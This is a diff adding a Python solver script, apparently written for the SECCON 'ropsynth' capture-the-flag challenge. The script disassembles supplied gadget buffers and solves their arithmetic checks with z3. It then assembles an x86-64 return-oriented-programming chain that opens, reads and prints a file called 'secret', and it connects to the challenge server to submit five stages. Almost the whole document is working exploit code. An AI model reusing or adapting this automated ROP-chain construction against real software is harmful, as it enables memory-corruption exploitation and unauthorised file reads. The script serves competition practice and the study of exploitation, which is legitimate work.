|
| 1 | +import capstone |
| 2 | +import z3 |
| 3 | +import subprocess |
| 4 | +from struct import pack |
| 5 | + |
| 6 | +ADDRESS = 0x00800000 # This is where the rop buffer lives |
| 7 | +BUFADDR = 0x00a00000 # This is an r/w buffer for you, helpfully initialized |
| 8 | + # to "secret\x00", which is the name of the file you read. |
| 9 | + |
| 10 | +def solve_instance(gadget_buf): |
| 11 | + gadget_buf = gadget_buf.decode('base64') |
| 12 | + md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64) |
| 13 | + md.skipdata = False |
| 14 | + disasm = list(md.disasm_lite(gadget_buf, ADDRESS)) |
| 15 | + addrtable = {x[0]:i for i, x in enumerate(disasm)} |
| 16 | + |
| 17 | + # Step 1: Find `instr`, and parse out the successor instructions |
| 18 | + # until a `ret` is hit (assuming we meet all the `je` checks to |
| 19 | + # avoid running into the `hlt`s) |
| 20 | + def get_gadget(instr): |
| 21 | + instr = instr.strip() |
| 22 | + for start, x in enumerate(disasm): |
| 23 | + if ('%s %s' % (x[2], x[3])).strip() == instr: |
| 24 | + break |
| 25 | + else: |
| 26 | + assert False |
| 27 | + |
| 28 | + gadget = [] |
| 29 | + end = start |
| 30 | + while True: |
| 31 | + gadget.append(disasm[end]) |
| 32 | + if disasm[end][2] == 'je': |
| 33 | + end = addrtable[int(disasm[end][3], 16)] |
| 34 | + elif disasm[end][2] == 'ret': |
| 35 | + break |
| 36 | + elif disasm[end][2] == 'hlt': |
| 37 | + assert False |
| 38 | + else: |
| 39 | + end += 1 |
| 40 | + |
| 41 | + return gadget |
| 42 | + |
| 43 | + syscall = get_gadget('syscall') |
| 44 | + poprdx = get_gadget('pop rdx') |
| 45 | + poprdi = get_gadget('pop rdi') |
| 46 | + poprsi = get_gadget('pop rsi') |
| 47 | + poprax = get_gadget('pop rax') |
| 48 | + |
| 49 | + # for i in disasm: |
| 50 | + # print '%x %s %s' % (i[0], i[2], i[3]) |
| 51 | + # print '----------' |
| 52 | + # for i in poprsi: |
| 53 | + # print '%x %s %s' % (i[0], i[2], i[3]) |
| 54 | + |
| 55 | + # Step 2: Figure out the values needed to pass checks. |
| 56 | + # Checks take the following form: |
| 57 | + # pop reg0 |
| 58 | + # (add|sub|xor) reg0, $constant |
| 59 | + # <repeat a few times> |
| 60 | + # cmp reg0, $constant |
| 61 | + # je check_passed |
| 62 | + # hlt |
| 63 | + # ... |
| 64 | + # check_passed: <either ret, or another check> |
| 65 | + def pass_checks(instrs, skip=1): |
| 66 | + pushes = [] |
| 67 | + idx = skip |
| 68 | + while True: |
| 69 | + assert instrs[idx][2] == 'pop' |
| 70 | + reg = instrs[idx][3] |
| 71 | + idx += 1 |
| 72 | + |
| 73 | + # Note: You don't actually need z3 for this. Each operation |
| 74 | + # is trivially invertible, so all you'd have to do is run |
| 75 | + # through the instructions backwards. BUT Z3 EZ & I AM LAZY. |
| 76 | + symb_reg = z3.BitVec(reg, 64) |
| 77 | + x = symb_reg |
| 78 | + |
| 79 | + while True: |
| 80 | + mnem = instrs[idx][2] |
| 81 | + args = instrs[idx][3].split(', ') |
| 82 | + idx += 1 |
| 83 | + assert len(args) == 2 |
| 84 | + assert args[0] == reg |
| 85 | + if mnem == 'add': |
| 86 | + x += int(args[1], 0) |
| 87 | + elif mnem == 'sub': |
| 88 | + x -= int(args[1], 0) |
| 89 | + elif mnem == 'xor': |
| 90 | + x ^= int(args[1], 0) |
| 91 | + elif mnem == 'cmp': |
| 92 | + s = z3.Solver() |
| 93 | + s.add(x == int(args[1], 0)) |
| 94 | + s.check() |
| 95 | + pushes.append(s.model()[symb_reg].as_long()) |
| 96 | + break |
| 97 | + else: |
| 98 | + assert False |
| 99 | + |
| 100 | + assert instrs[idx][2] == 'je' |
| 101 | + idx += 1 |
| 102 | + if instrs[idx][2] == 'ret': |
| 103 | + break |
| 104 | + return pushes |
| 105 | + |
| 106 | + # Helper funcs to generate the rop needed to call specific gadgets |
| 107 | + def set_rax(x): |
| 108 | + return [poprax[0][0]] + [x] + pass_checks(poprax) |
| 109 | + def set_rdi(x): |
| 110 | + return [poprdi[0][0]] + [x] + pass_checks(poprdi) |
| 111 | + def set_rsi(x): |
| 112 | + return [poprsi[0][0]] + [x] + pass_checks(poprsi) |
| 113 | + def set_rdx(x): |
| 114 | + return [poprdx[0][0]] + [x] + pass_checks(poprdx) |
| 115 | + def do_syscall(): |
| 116 | + return [syscall[0][0]] + pass_checks(syscall) |
| 117 | + # The `pop rdi` and `pop rdx` gadgets have a `push rax` before them |
| 118 | + def mov_rdi_rax(): |
| 119 | + prev = disasm[addrtable[poprdi[0][0]-1]] |
| 120 | + assert prev[2:4] == ('push', 'rax') |
| 121 | + return [prev[0]] + pass_checks(poprdi) |
| 122 | + def mov_rdx_rax(): |
| 123 | + prev = disasm[addrtable[poprdx[0][0]-1]] |
| 124 | + assert prev[2:4] == ('push', 'rax') |
| 125 | + return [prev[0]] + pass_checks(poprdx) |
| 126 | + |
| 127 | + # Linux syscalls |
| 128 | + sys_open = 2 |
| 129 | + sys_read = 0 |
| 130 | + sys_write = 1 |
| 131 | + sys_exit_group = 231 |
| 132 | + |
| 133 | + # Step 3: The rop chain. |
| 134 | + concat = [ |
| 135 | + set_rax(sys_open), |
| 136 | + set_rdi(BUFADDR), |
| 137 | + set_rsi(0), |
| 138 | + do_syscall(), |
| 139 | + |
| 140 | + mov_rdi_rax(), |
| 141 | + set_rax(sys_read), |
| 142 | + set_rsi(BUFADDR), |
| 143 | + set_rdx(100), |
| 144 | + do_syscall(), |
| 145 | + |
| 146 | + mov_rdx_rax(), |
| 147 | + set_rax(sys_write), |
| 148 | + set_rdi(1), |
| 149 | + do_syscall(), |
| 150 | + |
| 151 | + set_rdi(0), |
| 152 | + set_rax(sys_exit_group), |
| 153 | + do_syscall(), |
| 154 | + ] |
| 155 | + rop = ''.join(pack('<Q', k) for k in (j for i in concat for j in i)) |
| 156 | + return rop.encode('base64').replace('\n', '') |
| 157 | + |
| 158 | +# gadget_bufs = [open('./gadgets-examples/out01.txt').read(), open('./gadgets-examples/out02.txt').read(), open('./gadgets-examples/out03.txt').read(), open('./gadgets-examples/out04.txt').read(), open('./gadgets-examples/out05.txt').read()] |
| 159 | +# solve_instance(gadget_bufs[0].encode('base64')) |
| 160 | +# exit(0) |
| 161 | +# print solve_instance(subprocess.check_output(('pbpaste',))) |
| 162 | +# exit(0) |
| 163 | + |
| 164 | +import socket |
| 165 | + |
| 166 | +sock = socket.create_connection(('ropsynth.pwn.seccon.jp', 10000)) |
| 167 | +f = sock.makefile('rw') |
| 168 | + |
| 169 | +import sys |
| 170 | +def readline(): |
| 171 | + line = f.readline() |
| 172 | + sys.stdout.write(line) |
| 173 | + return line |
| 174 | + |
| 175 | +def write(s): |
| 176 | + sys.stdout.write(s) |
| 177 | + f.write(s) |
| 178 | + f.flush() |
| 179 | + |
| 180 | +for i in range(5): |
| 181 | + t = readline() |
| 182 | + assert t == "stage %d/5\n" % (i+1) |
| 183 | + |
| 184 | + write(solve_instance(readline())) |
| 185 | + write('\n') |
| 186 | + t = readline() |
| 187 | + assert t == "OK\n" |
| 188 | + |
| 189 | +import telnetlib |
| 190 | +t = telnetlib.Telnet() |
| 191 | +t.sock = sock |
| 192 | +t.interact() |
0 commit comments